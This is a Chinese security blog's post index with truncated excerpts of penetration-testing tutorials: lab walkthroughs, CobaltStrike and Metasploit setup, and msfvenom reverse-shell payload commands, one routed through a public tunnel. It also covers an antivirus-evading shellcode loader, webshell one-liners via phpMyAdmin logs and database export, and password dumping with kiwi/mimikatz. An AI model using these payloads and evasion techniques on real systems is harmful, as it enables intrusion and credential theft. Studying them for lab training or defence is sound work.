m0_53087192的博客

原创 SIEM、SOC、MSS三者的区别与联系

前言SIEM和SOC在国内并不是一个新兴的名词，相反在国内安全圈内经过了10余年的挣扎，SIEM已经趋于成熟，但是SOC仍处于一个鸡肋的位置，我认为其主要原因在SOC受制于国内体制、政策、相关日志标准、应用环境、传统认识的制约，从而它在国内一开始就是以产品的方式出现。缺少了MSS的辅助SOC就像是要求汽车驾驶员去驾驶维护飞机，这也是国内SOC一直无法用起来的主要原因。而以SOC为基础的MSS（可管理安全服务）一直无法发展状大的原因有二。欧美国家对MSS服务的技术封锁。提供MSS服务要求拥有相当经验

原创 红日靶场(一）渗透思路及遇到的问题

1.信息收集对dmz主机进行端口扫描，web目录扫描，发现存在phpmyadmin，yxcms，yxcms备份文件，phpinfo探针。2.漏洞发现对phpmyadmin进行暴力破解获取密码root/root，yxcms存在密码信息泄露，可登陆后台。3.漏洞利用phpmyadmin采用写日志的方法getshell，yxcms通过修改模板方法getshell。遇到问题：网页执行命令可以执行，蚁剑连接webshell连不上，使用base64编码可解决，不太清楚这里是为什么，也没发现有waf。4.后

原创 Vulnhub靶机实战——DC-3

靶机下载地址：https://www.vulnhub.com/entry/dc-32,312/靶机部署，将靶机设置为nat模式。1.信息收集使用nmap进行主机扫描，发现开放80端口，web指纹为joomla。nmap -A 192.168.33.0/24使用dirsearch进行目录扫描，发现网站后台和cms信息2.漏洞扫描使用cmsmap对网站进行扫描，扫描出版本信息和一个漏洞，通过版本查询漏洞，发现存在sql注入。项目地址：https://github.com/Dionach/C

原创 内网渗透，域渗透学习脑图

原创 ReverseTcpshell使用教程

测试环境攻击机：192.168.50.100 windows10被攻击：192.168.50.101 windows server 2016生成payload使用powershellReverseTCP.ps1运行设置监听ip，端口生成两种payload，一种powershell，一种cmd。复制一个payload，在被攻击机上运行，返回shell。火绒全程无反应。...

原创 内网渗透_信息收集(1)

本机信息包括操作系统，当前用户权限，内网ip段，杀毒软件，端口开放情况，系统打的补丁，网络状况，共享文件夹等，如果是域内的主机的话，操作系统、补丁、运行的服务、杀软等一般是域管批量用脚本安装的。本机网络配置ipconfig /all操作系统查询操作系统及版本信息systeminfo查询系统体系架构echo %PROCESSOR_ARCHITECTURE%[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4w49TvFA-1615447257658)(C:\

原创 CobaltStrike 使用教程(二)之powershell上线

使用powershell上线方法一选择生成payload，选择如图。复制文档里的内容，粘贴进cmd，并运行。成功上线方法二选择生成payload，选择如图。将生成的payload.ps1上传的要上线的机器上，cmd运行powershell -file payload.ps1ps:有时会有以下提示cmd运行powershell set-ExecutionPolicy RemoteSigned在运行，成功上线powershell -file payload.ps1

原创 武器级工具包 Immunity Canvas 7.26安装

1. 准备github搜索Immunity Canvas 7.26，自行下载。注意：文件存放路径尽量不要有空格，后面会说有空格怎么办。2.安装双击Windows Dependency文件夹中的CANVAS_Dependency_Installer.exe，开始安装依赖环境。没有安装python，把安装python勾上。...

原创 python打包exe

Python版本：Python3.5.2一、安装Pyinstaller1、安装pywin32下载安装文件：查找到跟自己适用的python版本及window系统版本匹配的pywin32，下载后安装使用pip命令安装：pip install pywin322、安装Pyinstaller下载安装文件安装：官网使用pip命令安装：pip install PyInstaller二、使用Pyinstaller1、使用下载安装的方式安装的Pyinstaller打包方式将需要打包的文件放在解压得到的Py

原创 cs免杀-使用python进行免杀

环境使用python版本为python3.6 32位版本，64位版本测试会报错。安装pyinstaller，pywin32pip3 install pyinstallerpip3 install pywin32生成shellcode使用cobalsstrike生成c语言shellcode。使用shellcode loader加载shellcode#!/usr/bin/python3import ctypes#shellcode 放这个位置c = b"\xfc\xe8\x89\x

原创 端口转发与隧道

LCX端口转发正向转发内网主机执行：lcx.exe –slave 公网主机IP 公网主机端口 内网主机IP 内网主机端口外网主机执行：Lcx.exe –listen 公网主机端口1 公网主机端口2反向转发外网主机执行：Lcx.exe -tran 53 目标主机IP 3389PORTMAP端口转发正向转发内网主机执行：./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666外网主机执行：./portmap -m 2 -p1 6666 -h

原创 数据库命令执行Getshell

Access导出Access可导出xxx等文件需要配合解析漏洞create table cmd (a varchar(50));insert into cmd (a) values ('一句话木马') #一句话木马如：<%execute request(1)%>select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd drop table cmd菜刀直连https://www.xxx.c

原创 各种Getshell姿势总结

一、进后台getshell正常上传文件直接上传一句话木马。修改网站上传类型Getshell修改网站上传类型，后台设置中添aasps|asp|php|jsp|aspx|asa|cer，保存后上传aasps文件，上传后为asp文件可以解析Getshll。后台数据库备份Getshell后台数据库备份getshell，上传图片马并获取图片马路径，通过数据库备份修改后缀名，如有后缀名无法修改或路径无法修改限制可修改前端代码绕过，当所备份的数据库来源无法修改时，我们可以通过首先将一句话木马写入数据库，比如通

原创 MSF中获取用户密码

获取用户密码的方法抓取自动登录的密码导出密码哈希上传mimikatz程序加载kiwi模块抓取自动登录的密码很多用户习惯将计算机设置自动登录，可以使用run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码导出密码哈希hashdump 模块可以从SAM数据库中导出本地用户账号，执行：run hashdump该命令的使用需要系统权限用户哈希数据的输出格式为：用户名：SID：LM哈希：NTLM哈希:::还可以

原创 MSF中kiwi模块的使用

kiwi模块使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法，一是当前的权限是administrator用户，二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。kiwi模块使用提权到system权限进程迁移加载kiwi模块load kiwi查看kiwi模块的使用help kiwicreds_all：列举所有凭据

原创 FOFA的使用

FofaFofa 是白帽汇推出的一款网络空间搜索引擎，它通过进行网络空间测绘，能够帮助研究人员或者企业迅速进行网络资产匹配。例如进行漏洞影响范围分析、应用分布统计、应用流行度等。在渗透测试过程中，Fofa能帮助测试人员快速发现目标资产。逻辑运算符●&& ：表示逻辑与●|| ：表示逻辑或#查找使用coremail并且在中国境内的网站app="Coremail" && country=CN #查找title中含有管理后台或者登录后台的网站tit

原创 msf端口转发上线

环境攻击机：kaliip192.168.50.232被攻击机：win7开通转发隧道注册地址：http://www.ngrok.ccmsf木马生成msfvenom -p windows/meterpreter/reverse_tcp LHOST=64.69.43.xx LPORT=10151 -f exe > reverse.exeIP地址为中转服务器ip，端口为中专服务器端口，如下图。开启转发并设置监听在网站下载linux客户端，开启转发。./sunny clientid

原创 CobaltStrike 使用教程(一)

环境CobaltStrike监听机器：kaliip：192.168.50.73被攻击机：win7IP：192.168.50.239CobaltStrike客户端登录木马生成点击，攻击->生成后门->windows executable设置监听选择监听并生成木马在目标机器上运行木马，成功上线。...

原创 CobaltStrike环境配置及搭建

Oracle JDK1.8的安装这里使用centos进行搭建官网下载 jdk-8u261-linux-x64.tar.gz。将安装包上传到服务器，可以使用ftp，这里使用的rz命令上传，使用xshell连接服务器，安装lrzsz。yum install lrzsz -yrz安装包解压并移动mkdir /usr/local/javatar -xzvf jdk-8u261-linux-x64.tar.gz -C /usr/local/javamv /usr/local/java/jdk1.8

原创 phpmyadmin通过日志写shell

1.查看general log是否开启show variables like ‘%general%’;打开general_log日志读写功能SET GLOBAL general_log=‘on’; SHOW VARIABLES LIKE ‘%general%’;查看绝对路径（探针等）写shell，会把执行的语句写到shell.php，然后我们查询一下SET GLOBAL general_log_file=‘C://phpStudy//PHPTutorial//WWW//shel

原创 MSF从上线到提权

环境攻击机：kaliip：192.168.232.129被攻击机：win7ip：192.168.232.140MSF木马生成windows_x86_payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.129 LPORT=4444 -f exe > shell.exewindows_x64_payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp

原创 php代码审计入门

代码审计工具个人比较喜欢使用sublime编辑器和法师的seay源代码审计系统。代码审计思路主要思路有三种：1.参数的正向追踪，2.参数的逆向追踪，3.通读全文。在审计过程中，将黑盒测试与白盒测试结合到一起，黑盒测试在代码审计中是非常重要的，burp一定要常开！！！一.逆向追踪找到危险函数或者sql语句中的参数，并且回溯参数，查看参数是否用户可控，如果用户可控，利用黑盒测试构造payload，进行漏洞验证。二.正向追踪找到用户可控的参数，并追踪参数，查看参数有没有带入到一些危险函数，或者sq

原创 实战 靶机Billu_b0x

靶机环境：靶机Billu_b0x虚拟机nat模式ip：192.168.232.138实战过程：使用内网扫描器扫描存活主机进行端口扫描发现开启80和22端口，可以对22端口尝试弱口令。访问网站，发现需要登录，提示有可能有sql注入，尝试万能密码，无果。继续进行信息收集。扫描网站目录，我先使用了御剑进行扫描，后来发现有一个关键的phpmyadmin，没有扫到，推荐多使用几种扫描器进行扫描，或者换个字典进行扫描。扫描出几个文件test.php add.php head.ph